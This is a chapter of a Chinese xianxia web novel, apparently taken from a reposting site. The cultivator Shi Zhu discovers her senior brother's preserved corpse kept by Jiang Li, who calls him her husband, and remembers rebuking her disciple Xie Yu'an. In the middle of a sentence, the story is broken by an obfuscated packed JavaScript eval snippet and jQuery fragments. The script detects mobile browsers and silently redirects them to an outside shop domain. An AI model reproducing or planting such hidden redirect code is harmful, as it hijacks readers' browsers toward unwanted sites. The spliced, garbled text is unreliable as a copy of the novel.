四根链条吊着圆盘,正中央的棺椁寒玉如冰,里面躺着一人,双目轻阖,面无血色,睡了很久的样子,一股酒香弥漫在空气中,极为刺鼻,像是从棺椁中传出来的。
时竹心跳停了一瞬,指尖不住颤抖,双脚被钉在原地,尽管内心已有猜测,可当人真正出现在面前,却又是一番滋味。
江篱道:“你们问的,我一一作答,人也放了,为何偏要刨根问底,不得安生?不错,我的确是借松风坞的灵力温养神魂,但并未扰到你们修炼,我一不害人,二不作恶,只想安安稳稳守着一人。”
林青寻忽然喊道:“你杀的人还少吗?村东的房舍满屋白骨,你刚才还要杀我呢!”
江篱:“那是他们该死。”
“你又不是他们,凭什么就认定人家该死,你不认识我就把我绑来,给我定罪,最后又判我无罪,多少人没等他们辩解你就下手了。”
江篱言语讥讽,“所以呢,你来的目的是为了帮那些人讨个公道?寻公论道这种事应该去官府。”
林青寻撇撇嘴,胳臂又被叶昭宁掐了一把,只得嘟囔道:“官府有用我还站在这里。”
江篱走到棺椁旁,手轻轻拂过,好似隔着厚厚的玉板抚摸里面人的脸庞,不见愤怒,只见相思,淡声道:“他是我夫君,松风坞的灵力辅以阵法,可保他尸身不腐,这便是我的目的,你们可以走了吗?”
不行,不能走。
时竹几乎要冲上前质问她,为何三师兄的尸首在此处?她又为何以“夫君”称之?
在她闭关之前三师兄就已不见踪影,听旁人说下山去了,有个村子鬼怪丛生,弟子们束手无策,需要他去支援,谁知这一去便了无音信,逢时江篱早已回到落听堂,除去第一日拜访松风坞时的交锋,他们再接触,时竹却只知晓两次,还是全然不同的两次。
仙门百家为争个声名先后,举办过无数大小切磋,其中最为盛名的,便是十年一次的仙门大比,而那一次,就设在松风坞。
彼时江篱仍赖在云杓峰不走,走也可以,但要把谢屿安带走“做客”,如此无理的要求时竹自然不能应允,便想着过半月仙门大比开始,落听堂堂主定会带弟子参赛,到时再让他把江篱带走。
只是苦了谢屿安,听到这个消息后脸臭的像是要把人扔出去,杵在时竹门口装聋作哑,此时他来云杓峰不足半年,对谁都寡言少语,难得在她面前露出点脾气,但诱因不免让时竹觉得好笑。
时竹逗他:“有人每日陪你过招求之不得才对,怎么这种表情?”
谢屿安依旧抿着唇不说话,时竹倚窗品茗,稍稍仰头去看身形颀长的少年,比起后来常穿的墨衣,一身白色校服的谢屿安当真称得“君子雅相”。
时竹道:“她半月后就走,你若避不开,可来我房中抄书。”
事实证明,她房间并非甚么风水宝地,话还未说完,江篱便叩门进来捉人,不过另有一人落她身后,便是时竹的三师兄。
一见到他江篱就按耐不住了,要知在松风坞的地盘,她想找到故意躲着她的人可非易事,当即甩下谢屿安,待时竹二人谈完要事,一步不落地跟在他身后,时竹看热闹不嫌事大,笑道:“来者既是客,师兄莫要怠慢。”
再见二人一路,就到仙门大比结束三月后了。
不过不是在松风坞,是在某座不知名山上的客栈。时竹和谢屿安刚解决完一只作乱的大鹏鸟,是只蛮横贪婪的精怪,将山下村民的粮仓吃了个遍,接连伤了不少人,实在没办法才请松风坞的人帮忙。
好巧不巧,时竹正愁没由头下山,本应是历练弟子的好时机,但她却想多逗留几日,为避免加剧徒弟历练完不回山的恶习,被剔除正事行列,没必要大张旗鼓。
于是乎,她只带了谢屿安一人。
“所以你就不计后果,我问你,粮仓内可还有稻谷?”
谢屿安闷声不语,时竹冷声道:“说话!”
她鲜少用这般语调冲谢屿安说,因为她觉得谢屿安跟其他弟子不一样,十八九岁的少年不免争强好胜,总想向别人证明点什么,但谢屿安沉稳得让人忧心,物极必反,时竹总怕他会缺那年少时独有的意气和热情,如果以前没为什么东西争过,往后也很少再会有了。
“啪”一声,瓷杯四分五裂,摔在谢屿安靴旁,方才将人摔开口,“有。”
“那你为何欲要放火,你可知,要是这簇火苗当真烧起来,粮仓可还能保得住?”
谢屿安道:“金翅大鹏翎羽怕真火,先毁其羽翼,再一招制敌,就不必良久周旋,更何况大鹏鸟害人不浅,越拖下去就会有更多的村民受其影响。”
时竹厉声道:“大鹏鸟因抢夺粮仓而伤人,村民因护粮仓而被伤,于他们而言,粮食和土地是比自身性命更重要的东西,你若一把火烧个干净,与被人憎恨的大鹏鸟又有何异!”
谢屿安一言不发站在那里,长身鹤立,时竹这才发现,就算谢屿安前十几年在主峰不被看重,日子虽不是锦衣玉食,但也从未发愁过生计,对一个胸无大志的人身上来说,已经足够潦草终身了。
但谢屿安绝不是这种人,她也不可能让他成为这种人。
片刻后,谢屿安垂眸道:“是我考虑不周。”
见谢屿安认了错,时竹语气才放缓,“你须记住修炼的目的并非是让你除光世上的妖魔鬼怪,这些是杀不干净的,你能做的只是帮世上无权无势的人守住他们应有的东西。妖怪若能耕田插秧,那便是祥物,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752931|209192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
修士如果打着惩恶扬善的名号行不义之事,比鬼怪更令人怨恨。”
谢屿安浅浅蹙着眉头,像是将她这番话听了进去,过好一会儿才点了下头,“不会再如此了。”
闻言,时竹认为谢屿安就是缺良师教导,她那师兄忙起来连自己都顾不得,更别提犄角旮旯不知何时收的徒弟了,再卓越的可塑之才被湮没数年,龙凤也能变成蛇鸟。
“好在你并未真让火燃起来,当个教训记吧。”时竹道,“早些时分见山底有不少人在放灯,也不知是什么节日,怪是稀奇,陪师叔下山逛逛,今日之事就此揭过。”
时竹起身往门口走去,谢屿安默默跟在她身后,谁知刚推开门,时竹愣了片刻,没等谢屿安看清外面光景,她转眼又将门合上,后退两步,谢屿安心神本就不安定,没躲开,两人结结实实撞到了一起。
时竹在站稳的空隙中转头去问谢屿安,“你看到了吗?”
谢屿安道:“什么?”
时竹全然不敢相信自己眼睛,又慢慢将门拽开一条小缝,做贼似的探身去看,正巧窥见两人你拉我、我拉你,牵着手迈进最东头的房间。
谢屿安敛眸道:“看见了,江篱前辈和三师叔。”
亲眼看见是一回事,从别人口中证实又是另一冲击,时竹登时消了赏灯的心思,拽上谢屿安从窗棂跃到房顶,足底被灵力拖着,避免发出声音,两人敛息静气,时竹悄悄将瓦片挪开条缝。
果真是江篱和她三师兄。
不过跟进来时的岁月静好大相径庭,她三师兄脖子上架了把剑,看样式还是他的佩剑,江篱则满脸怒气,还扬言要杀了他这个伪君子。
时竹看得啧啧称奇,第一反应是江篱又在找她三师兄切磋,但能打到手牵手也是人才,她三师兄的私情百年难得一遇,时竹正蹲着等后续,就看见江篱将人往身前一拽,径直亲了上去。
时竹瞬间睁大双眸,震惊于她豪横果决的行为,总觉得自己要不做些什么,下一刻就会冲下房顶去问个清楚,于是她伸手捂住谢屿安的眼睛,传声道:“你还太小,有伤风化。”
谢屿安:“……”
就在此时,她三师兄似乎瞥了上面一眼,素日清冷高雅的男子眼尾晕开一抹红,只此一眼,看得时竹忙不迭带人跑了。
再到后来,她三师兄和江篱先后失踪,时竹也未将二人的消失往一处想,可如今却同时现身,一死一疯,以夫妻相称。
棺椁中的人神色安详,依旧是一身云纹锦袍,时竹看向江篱身后那道飘浮的虚影,就算瞳孔全白,视线也似只落到一人身上,没有过多动作,像从前的千百次一样,只是静静地看着。
看他的心上人相思成疾,终日与一尊冰冷的棺椁作伴。